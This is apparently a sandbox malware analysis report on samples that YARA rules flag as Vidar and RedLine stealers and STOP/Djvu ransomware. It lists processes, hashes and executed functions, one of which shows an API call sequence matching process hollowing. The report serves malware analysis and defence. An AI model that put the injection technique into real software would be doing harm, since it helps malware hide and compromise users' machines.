Path:	C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe"
Imagebase:	0x400000
File size:	296'448 bytes
MD5 hash:	A04031208441077A014F42095FF86107
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000007.00000002.1722554288.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.1722443203.0000000001B9E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 74%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:37:04
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe"
Imagebase:	0x400000
File size:	296'448 bytes
MD5 hash:	A04031208441077A014F42095FF86107
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.2868783397.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: HiddenCobra_BANKSHOT_Gen, Description: Detects Hidden Cobra BANKSHOT trojan, Source: 00000008.00000002.2868783397.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	07:37:05
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe" --AutoStart
Imagebase:	0x400000
File size:	851'456 bytes
MD5 hash:	EFD7D885536EF4FD62CBC513BBE04D6E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000002.1739002784.0000000005DA0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000002.1739002784.0000000005DA0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000009.00000002.1738911093.0000000004402000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:37:06
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe" --AutoStart
Imagebase:	0x400000
File size:	851'456 bytes
MD5 hash:	EFD7D885536EF4FD62CBC513BBE04D6E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000A.00000002.1750386655.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000A.00000002.1750386655.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000A.00000002.1750386655.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:37:14
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe" --AutoStart
Imagebase:	0x400000
File size:	851'456 bytes
MD5 hash:	EFD7D885536EF4FD62CBC513BBE04D6E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000B.00000002.1823212660.0000000005E40000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000002.1823212660.0000000005E40000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000B.00000002.1823128668.0000000004501000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:37:14
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe" --AutoStart
Imagebase:	0x400000
File size:	851'456 bytes
MD5 hash:	EFD7D885536EF4FD62CBC513BBE04D6E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000D.00000002.1834718747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000D.00000002.1834718747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000D.00000002.1834718747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	97.5%
Signature Coverage:	42.5%
Total number of Nodes:	40
Total number of Limit Nodes:	7

Executed Functions

Function 05E70110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 05E70156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 05E7016C
CreateProcessA.KERNELBASE(?,00000000), ref: 05E70255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 05E70270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 05E70283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 05E7029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05E702C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 05E702E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 05E70304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 05E7032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 05E70399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05E703BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 05E703E1
ResumeThread.KERNELBASE(00000000), ref: 05E703ED
ExitProcess.KERNEL32(00000000), ref: 05E70412

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: d0da7ba8eb787d6f33c1a05633bf34c26b4e4d3f6829f4acb378c10c4cdf9b75
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 32B1C874A00208AFDB44CF98C895FAEBBB5FF88314F248158E549AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 044347C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 044347EE
Module32First.KERNEL32(00000000,00000224), ref: 0443480E

Memory Dump Source

Source File: 00000000.00000002.1634521884.0000000004434000.00000040.00000020.00020000.00000000.sdmp, Offset: 04434000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4434000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: fa1fb44e9c6294abba5a10189bbb95e83a7c1fc5bae5936a0160c0fc50f77f1a
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: A9F062352007106BDB203FF5A88DAABB6E8EF4DB26F10062AE642915C0DB70F9454661

Uniqueness

Uniqueness Score: -1.00%

Function 05E70420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 05E70533

Strings

0, xrefs: 05E70492
d, xrefs: 05E70584
mfoaskdfnoa, xrefs: 05E70520, 05E70523
saodkfnosa9uin, xrefs: 05E704DA

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: ad6dc4b4ffdf90b72a51079c8c634729497388e27d67e2c3ade118b55113f78d
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 34511A70D0838CDAEB11CBD8C849BEDBFB26F11708F144058D5847F286D3BA5659CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 05E705B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 05E705EC

Strings

o, xrefs: 05E70600
apfHQ, xrefs: 05E705E2, 05E705E5

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: c2ce7918a6761ed32e71e800ad8c261a06480b1ac66f646d4bae4a73fe09e205
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: B4011E70C0424CEADB10DBD8C5583AEBFB5AF41308F148099C4492B241D7769B58CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 04434485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 044344D6

Memory Dump Source

Source File: 00000000.00000002.1634521884.0000000004434000.00000040.00000020.00020000.00000000.sdmp, Offset: 04434000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4434000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: ce6e06244c399db11c5f9cbeffa71c446f51e9a3e10a3eaa14d79cb889dd4fa0
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 3C113C79A00208EFDB01DF98C985E99BBF5AF08751F058095FA489B362D371EA90DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05E8F030 Relevance: 19.9, APIs: 10, Strings: 1, Instructions: 696
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05E8F0A7
_wcsstr.LIBCMT ref: 05E8F14E
_strstr.LIBCMT ref: 05E8F3D6
_malloc.LIBCMT ref: 05E8F526
_memset.LIBCMT ref: 05E8F534
_strstr.LIBCMT ref: 05E8F57A
_malloc.LIBCMT ref: 05E8F6F5
_memset.LIBCMT ref: 05E8F703
_free.LIBCMT ref: 05E8F7B5
_free.LIBCMT ref: 05E8F7C2

Strings

", xrefs: 05E8F640

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memset$_free_malloc_strstr$_wcsstr
String ID: "
API String ID: 430003804-123907689
Opcode ID: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction ID: 9dd3edc8df5bab5ff89efa079de646baf9904d77953213a8c77f5960a1c1035b
Opcode Fuzzy Hash: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction Fuzzy Hash: 3242C371508340ABEB20EF64CC48BAB7BE8BF45308F04192DF5DD97291EB759549CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 05E800D0 Relevance: 9.7, APIs: 6, Instructions: 732COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction ID: 4e0f36dca86a453ffa890f702360d0993599e1b7709f4fb664601503dd3bf82e
Opcode Fuzzy Hash: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction Fuzzy Hash: 04527071D00218EFEF14EFA8C889BEEB7B5BF04308F145169D49DA7250E735AA49CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05E7E6E0 Relevance: 8.2, APIs: 5, Instructions: 735COMMON

Download Yara Rule

APIs

_wcsstr.LIBCMT ref: 05E7E72D
_wcsstr.LIBCMT ref: 05E7E756
_memset.LIBCMT ref: 05E7E784

Part of subcall function 05EBFC0C: std::exception::exception.LIBCMT ref: 05EBFC1F
Part of subcall function 05EBFC0C: __CxxThrowException@8.LIBCMT ref: 05EBFC34
Part of subcall function 05EBFC0C: std::exception::exception.LIBCMT ref: 05EBFC4D
Part of subcall function 05EBFC0C: __CxxThrowException@8.LIBCMT ref: 05EBFC62
Part of subcall function 05EBFC0C: std::regex_error::regex_error.LIBCPMT ref: 05EBFC74
Part of subcall function 05EBFC0C: __CxxThrowException@8.LIBCMT ref: 05EBFC82
Part of subcall function 05EBFC0C: std::exception::exception.LIBCMT ref: 05EBFC9B
Part of subcall function 05EBFC0C: __CxxThrowException@8.LIBCMT ref: 05EBFCB0

_wcsstr.LIBCMT ref: 05E7EA0C
_memset.LIBCMT ref: 05E7EE5C

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_wcsstrstd::exception::exception$_memset$std::regex_error::regex_error
String ID:
API String ID: 1338678108-0
Opcode ID: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction ID: a645eb8d776065bd90d81f4ae68bc0c4b85ad916da31a79c88f106ff29096d8c
Opcode Fuzzy Hash: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction Fuzzy Hash: ED52D471A002199FDF28CF78C894BAEBBFAFF04304F1455A9D896AB381D7319945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05E80B00 Relevance: 6.7, APIs: 4, Instructions: 660COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction ID: 12d4416e2c7208a4e594bea24242aa8772c70b020e2562ceda53dd01ff1c75b6
Opcode Fuzzy Hash: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction Fuzzy Hash: A3428071D00218EBDF14EFA4C948BEEB7F5BF04308F245169D49DA7290E731AA49CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05E7DBE0 Relevance: 5.2, APIs: 3, Instructions: 702COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 9f6b4442421c043649f7db44743354be7b1329328ec6f3464268f4c821171996
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: A7526270E00209DFDB15DFA4C849FAEBBB9FF49704F149598E549AB290EB30AD45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00409028 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,004090BA,00413228,00000001,?,004091D1,00413228,00000017), ref: 0040902D
UnhandledExceptionFilter.KERNEL32(00413228,?,004090BA,00413228,00000001,?,004091D1,00413228,00000017), ref: 00409036

Memory Dump Source

Source File: 00000000.00000002.1632210328.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1632195319.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1632228132.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1632244500.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1632259036.000000000041B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1632259036.0000000000420000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1632326142.00000000004B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1632326142.000000000409E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1634100960.00000000040A0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8jvTeVxooN.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 28beeca3d6f3d7e4d14661f1268a62793a73c245c08e492e04ea9542e01566da
Instruction ID: 813572f2ecf1461c1951aa0d3f60b9d03d1e46d2a341b29204beb9faec26f5b3
Opcode Fuzzy Hash: 28beeca3d6f3d7e4d14661f1268a62793a73c245c08e492e04ea9542e01566da
Instruction Fuzzy Hash: 1EB09231084208BBCB002B91EC09BC8BF69EB0C692F108020F74D44470CB62A4108A99

Uniqueness

Uniqueness Score: -1.00%

Function 05EF22C0 Relevance: 1.8, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

$, xrefs: 05EF291E

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 3df450f17fc79b43023813eb3ac4661f5ef4445ca93a9db2b6251e2c536ed991
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: 62327FB5E002299BEF609F64CC44BAEB7B9FF45704F0041EAE78DA6151DF748A808F59

Uniqueness

Uniqueness Score: -1.00%

Function 00408568 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00403FD2,00418880,00000014), ref: 00408568

Memory Dump Source

Source File: 00000000.00000002.1632210328.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1632195319.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1632228132.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1632244500.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1632259036.000000000041B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1632259036.0000000000420000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1632326142.00000000004B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1632326142.000000000409E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1634100960.00000000040A0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8jvTeVxooN.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 34d2d71641086b43951787e22f602f693dafc3b34b412f9bbbb7db2a15fdc8d1
Instruction ID: 56d5ab8de5572e7b5fea5a33c34fa2415f91961cdd68c14543a695de45a460ea
Opcode Fuzzy Hash: 34d2d71641086b43951787e22f602f693dafc3b34b412f9bbbb7db2a15fdc8d1
Instruction Fuzzy Hash: 5EB012B070110347470C0B39BC1804A35D4A70C242300C13D7103C65B0DF20C410AF08

Uniqueness

Uniqueness Score: -1.00%

Function 05E75DF7 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction ID: e054042e3d2fb565bdc6925f692f435b438261d6101fe9cfe3558c782a0c33d1
Opcode Fuzzy Hash: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction Fuzzy Hash: 1942AF71629F159BC3DADF24C88055BF3E1FFC8218F048A1DD99997A90DB38F819CA91

Uniqueness

Uniqueness Score: -1.00%

Function 05E7A026 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction ID: 3b4ad4d37e81a35230bc34afd5ba64066115e75cb93344dd22b22f6c46715cb8
Opcode Fuzzy Hash: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction Fuzzy Hash: A622E0B6908B069FC714CF19D08055AF7E1FF88324F558A6EE8A9A7B10D730BA55CF81

Uniqueness

Uniqueness Score: -1.00%

Function 05E72B60 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction ID: 05d082330c416e67c06a532964af8df8e1104b9eb0c871c855bdc4d54a32604c
Opcode Fuzzy Hash: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction Fuzzy Hash: CDF1B571344B058FC758DE5DDDA1B16F7E5AB88318F19C728919ACBB64E378F8068B80

Uniqueness

Uniqueness Score: -1.00%

Function 05E73520 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction ID: fac072dd392ecf5d87bbea94c6ccd7122945ee8166b205ca6581dc551bf93607
Opcode Fuzzy Hash: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction Fuzzy Hash: CB027E715187098FC756EE0CD49035AF3E2FFC8309F19892DD68987B64E739A9198F82

Uniqueness

Uniqueness Score: -1.00%

Function 05E789D0 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction ID: 83d08d435a2869f6529c0cc718c8df2b7afac508820236d8ccbb223d952e6e08
Opcode Fuzzy Hash: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction Fuzzy Hash: 9AC12833E2477906D764DEAE8C540AAB6E3AFC4220F9B477DDDD4A7242C9306D4A86C0

Uniqueness

Uniqueness Score: -1.00%

Function 05E7B0B0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction ID: ab749fe2fe2d5f4992f6511eb770ea2878de852c8c936bb84a9abf031bcfae60
Opcode Fuzzy Hash: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction Fuzzy Hash: 10A1EA0A8090E4ABEF455A7E90B63FBAFE9CB27354E76719284D85B793C019120FDF50

Uniqueness

Uniqueness Score: -1.00%

Function 05E730F0 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
